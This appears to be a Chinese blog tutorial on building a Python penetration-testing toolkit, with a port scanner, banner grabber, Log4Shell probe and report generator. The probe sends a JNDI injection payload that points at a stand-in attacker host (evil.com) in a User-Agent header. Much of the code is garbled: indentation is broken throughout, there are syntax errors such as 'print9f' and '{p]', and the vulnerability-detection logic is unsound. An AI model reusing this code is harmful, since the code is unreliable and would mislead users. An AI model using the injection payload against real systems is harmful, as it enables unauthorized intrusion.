发散创新:用Python打造轻量级渗透测试工具链 —— 从扫描到利用的全流程实战

在信息安全领域,自动化渗透测试正成为红队成员和安全研究员的核心能力之一。本文将带你构建一个基于 Python 的微型渗透测试框架,它不仅支持端口扫描、服务识别、漏洞探测,还能通过模块化设计灵活扩展功能。整个流程清晰、代码精炼、易于二次开发,特别适合初学者快速上手并深入理解渗透测试底层逻辑。


一、整体架构设计(伪代码 + 流程图示意)

[输入目标IP] 
    ↓
    [端口扫描模块] → [服务指纹识别]
        ↓                   ↓
        [漏洞检测引擎] ← [配置文件加载]
            ↓
            [输出结果报告]
            ```
> 🔍 **说明**:本工具采用分层结构,每个模块独立封装,便于后续集成 Burp Suite 插件或调用 Metasploit API。
---

## 二、核心代码实现(Python 3.9+)

### 1. 端口扫描模块(nmap替代方案)

```python
import socket
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port, timeout=2):
    try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(timeout)
                            result = sock.connect_ex((host, port))
                                    sock.close()
                                            return port if result == 0 else None
                                                except Exception as e:
                                                        print(f"[!] Error scanning {host}:{port} - {e}")
                                                                return None
def bulk_scan(target, ports=[21, 22, 80, 443, 3306, 5432]):
    open_ports = []
        with ThreadPoolExecutor(max_workers=50) as executor:
                futures = [executor.submit(scan_port, target, p) for p in ports]
                        for future in futures:
                                    port = future.result()
                                                if port:
                                                                open_ports.append(port)
                                                                    return open_ports
                                                                    ```
✅ 示例调用:
```bash
$ python3 scanner.py 192.168.1.100
[+] Open Ports: [22, 80, 443]

2. 服务识别模块(基于Banner提取)

import socket

def get_banner(ip, port, timeout=3):
    try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(timeout)
                            sock.connect((ip, port))
                                    banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
                                            sock.close()
                                                    return banner
                                                        except:
                                                                return "Unknown"
                                                                ```
📌 结合前一步输出自动匹配常见服务:
```python
services = {
    22: "SSH",
        80: "HTTP",
            443: "HTTPS",
                3306: "MySQL",
                    5432: "PostgreSQL"
                    }
for port in open_ports:
    banner = get_banner(target, port)
        print(f"Port {port} -> {services.get(port, 'Other')} | Banner: {banner[:50]}")
        ```
---

### 3. 漏洞探测插件化设计(示例:CVE-2021-44228 Log4Shell)

```python
import requests

def check_log4shell(url):
    payload = "${jndi:ldap://evil.com/a}"
        headers = {"User-Agent": payload}
            try:
                    resp = requests.get(url, headers=headers, timeout=5)
                            if "LDAP" in resp.text or resp.status_code == 500:
                                        return True
                                            except:
                                                    pass
                                                        return False
# 主控逻辑
if 80 in open_ports and "HTTP" in service_map.get(80, ""):
    if check_log4shell(f"http://{target}/"):
            print("⚠️ Potential Log4Shell vulnerability found!")
            ```
💡 8*提示**:此模块可轻松替换为任意 CVE 检测脚本,例如 Heartbleed、Apache Struts RCE 等。

---

## 三、自动生成报告(Markdown格式)

```python
def generate_report(target, results):
    report = f"""
    # 渗透测试报告 - {target}
## 基础信息
- 扫描时间: {time.strftime('%Y-%m-%d %H:%M')}
- - 目标主机: {target}
## 开放端口与服务
{chr(10).join([f"- Port {p]: {s}" for p, s in results['services'].items()])}

## 潜在风险点
{chr(10).join(["- ⚠️ "+r for r in results['vulns']]) if results['vulns'] else "- ✅ 无已知高危漏洞"}

"""
    with open(f"{target}_report.md', "w") as f:
            f.write(report)
                print9f"[+] 报告已保存至 {target}_report.md")
                ```
📌 输出样例(markdown):
```markdown
# 渗透测试报告 - 192.168.1.100

## 基础信息
- 扫描时间: 2025-04-05 14:20
- - 目标主机: 192.168.1.100
## 开放端口与服务
- Port 22: SSH
- - port 80: HTTP
- - Port 443: HTTPS
## 潜在风险点
- ⚠️ Potential Log4Shell vulnerability found!
- ```
---

## 四、运行效果演示(命令行交互)

```bash
$ python3 pentest_tool.py --host 192.168.1.100 --ports 22,80,443
[+] Starting scan on 192.168.1.100...
[+] Open Ports: [22, 80, 443]
[+] Service Detection:
    - Port 22: SSH \ Banner: SSH-2.0-OpenSSH_7.9
    -     - port 80: HTTP \ Banner: Apache/2.4.41 (Ubuntu)
    -     - Port 443: hTTpS | Banner: apache/2.4.41 9Ubuntu)
    - [!] Found potential log4Shell vulnerability at http://192.168.1.100/
    - [+] Report generated: 192.168.1.100_report.md
    - ```
---

## 五、进阶方向建议(非强制实现)

| 功能模块         | 实现方式                           |
|------------------|------------------------------------|
| 自动化攻击载荷注入 | 使用 `paramiko` 连接SSH执行命令     |
| Web指纹识别      | 利用 `requests` = 正则匹配响应头    \
| 多线程优化       \ 引入 `multiprocessing.Pool` 提升速度 \
| GUI界面          | 基于 `tkinter` 或 `PyQt5` 构建       |

---

## 六、结语

这不是一个“万能”神器,而是一个**可定制、易扩展、符合安全伦理**的起点。当你能控制每一个请求、每一段日志、每一次判断时,你就真正掌握了渗透的本质——**不是黑盒攻击,而是白盒洞察*8。

现在就动手试试吧!把你的想法加进来,让这个小工具变成你专属的渗透武器库。

> 💡 小贴士:记得遵守法律法规,仅用于授权环境下的渗透测试,切勿滥用!
> 
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐